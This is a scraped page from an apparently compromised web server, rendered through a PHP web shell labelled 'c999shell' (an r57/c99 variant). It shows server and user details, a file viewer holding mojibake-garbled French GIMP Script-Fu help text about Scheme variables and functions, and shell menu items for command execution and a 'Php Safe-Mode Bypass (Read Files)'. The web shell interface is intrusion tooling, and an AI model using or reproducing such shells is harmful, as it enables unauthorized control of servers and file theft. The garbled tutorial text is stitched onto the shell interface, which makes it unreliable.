Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /usr/share/gimp/2.0/help/fr/ drwxr-xr-x |
Viewing file: Select action/file-type: Maintenant que nous savons que toute dГ©claration Scheme est incluse entre parenthГЁses, et que le nom de fonction ou l'opГ©rateur vient en premier, nous devons apprendre Г crГ©er et utiliser les variables. CommenГ§ons par les variables. Bien qu'il existe deux mГ©thodes pour dГ©clarer des variables, la prГ©fГ©rГ©e est l'utilisation de la structure let*. Si vous connaissez d'autres langages de programmation, cette structure Г©quivaut Г dГ©finir une liste de variables locales et un champ d'application pour ces variables. Par exemple, pour dГ©clarer deux variables, a et b, initialisГ©es respectivement Г 1 et 2, vous Г©crirez: (let* ( (a 1) (b 2) ) (+ a b) ) ou, sur une ligne: (let* ( (a 1) (b 2) ) (+ a b) )
Ceci dГ©clare deux variables locales, a et b, les initialise, puis affiche leur somme.
Vous remarquerez que nos avons Г©crit l'addition
C'est parce que la dГ©claration
La forme gГ©nГ©rale d'une dГ©claration (let* (
oГ№ les variables sont dГ©clarГ©es entre parenthГЁses, p.e (a 2), et
les expressions sont une des expressions Scheme valides.
Rappelez-vous que les variables dГ©clarГ©es ne sont valables qu'Г
l'intГ©rieur d'une dГ©claration PrГ©cГ©demment, nous avons mentionnГ© le fait que vous voudriez certainement utiliser des indentations pour clarifier votre programme. Ce n'est pas un problГЁme pour Scheme, car l'interprГ©teur ignore les espaces blanc. Mais si vous utilisez la Console pour Script-Fu, une expression devra tenir sur une seule ligne entre les parenthГЁses d'ouverture et de fermeture. AprГЁs avoir initialiser une variable, il se peut que vous ayiez besoin d'en changer la valeur plus loin dans le script. Utilisez la dГ©claration set! pour changer la valeur d'une variable: (let* ( (theNum 10) ) (set! theNum (+ theNum \ theNum)) ) Essayez de deviner ce que fait cette dГ©claration, puis entrez-la dans la console pour Script-Fu.
Maintenent que nous savons manipuler les variables, passons aux fonctions. Vous dГ©clarez une fonction avec la syntaxe suivante: (define (
oГ№ (define (AddXY inX inY) (+ inX inY) )
Si vous avez programmГ© dans d'autres langages (comme C/C++, Java, Pascal...etc), vous aurez notГ© que plusieurs choses sont absentes dans la dГ©finition de cette fonction comparГ©e aux autres langages.
|
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0167 ]-- |